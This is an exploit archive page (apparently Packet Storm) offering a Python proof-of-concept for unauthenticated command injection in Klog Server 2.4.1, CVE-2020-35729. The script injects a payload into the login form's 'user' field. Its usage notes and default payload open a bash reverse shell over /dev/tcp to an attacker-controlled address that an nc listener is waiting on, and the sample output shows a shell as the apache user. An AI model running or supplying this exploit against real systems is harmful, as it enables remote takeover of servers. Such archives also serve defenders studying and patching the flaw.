exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Klog Server 2.4.1 Command Injection

Klog Server 2.4.1 Command Injection
Posted Jan 5, 2021
Authored by B3KC4T

Klog Server version 2.4.1 suffers from a remote command injection vulnerability.

tags | exploit, remote
advisories | CVE-2020-35729
SHA-256 | c4d49bbb6aa298ab790e96bc0bed872c2d9c52390ea9e2f22b668c5bb074580e

Klog Server 2.4.1 Command Injection

Change Mirror Download
# Exploit Title: Klog Server 2.4.1 - Command Injection (Unauthenticated)
# Date: 22.12.2020
# Exploit Author: b3kc4t (Mustafa GUNDOGDU)
# Vendor Homepage: https://www.klogserver.com/
# Version: 2.4.1
# Tested On: Ubuntu 18.04
# CVE: 2020-35729
# Description: https://github.com/mustgundogdu/Research/tree/main/KLOG_SERVER

"""
~ VULNERABILITY DETAILS ~

#
The Klog Server runs the injected os commands on the server , causing os command
injection vulnerability.

#
The following python code will inject os command payload and can be relaized reverse
shell connection.And you can be added payload except the default payload plugin.

##USAGE##

$sudo nc -nlvp 98
$sudo python klog_exploit.py --exploit --url https://10.10.56.51:443/actions/authenticate.php --payload "test\"$bash -i >& /dev/tcp/10.10.56.52/98 0>&1&\""

##OUTPUT##

bash-4.2$whoami
apache
bash-4.2$

"""

import requests
import argparse
from colorama import Fore, Back, Style, init


def main():

desc = "KLOG SERVER 2.4.1 EXPLOIT"
parser = argparse.ArgumentParser(description=desc)
option = parser.add_argument_group('[*]OPTIONS[*]')
parser.add_argument("--url", help=Fore.GREEN+"[*]TARGET URL ADDRESS[*]", required=False)
parser.add_argument("--payload",help=Fore.GREEN+"[*] TO ADD PAYLOAD [*]", type=str,required=False)
parser.add_argument("--exploit", help=Fore.GREEN+" ", action="store_true")
args = parser.parse_args()

if args.exploit:

if args.url:
url = args.url

if args.payload:
payload = args.payload
target_send_config(url, payload)

#default bash reverse shell payload
else:
payload = "test\"&bash -i >& /dev/tcp/10.10.56.52/88 0>&1&\""
target_send_config(url, payload)

else:
#default url (klog server init ip address)
url = "https://10.10.56.51:443/actions/authenticate.php"

if args.payload:
payload = args.payload
target_send_config(url, payload)
else:
payload = "test\"&bash -i >& /dev/tcp/10.10.56.52/88 0>&1&\""
target_send_config(url, payload)


def target_send_config(url, payload):

headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"}
#injection place
data = {"user": payload,
"pswd": "test"}

try:
#post method send
requests.post(url, headers=headers, data=data, verify=False)
print(" ")
print(Fore.GREEN+" "+"[+] EXPLOIT SUCCESSFUL PAYLOAD IS SENT [+]")
except:
print(Fore.RED+"[-] EXPLOIT FAILED [-]")

if __name__ == '__main__':
main()


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close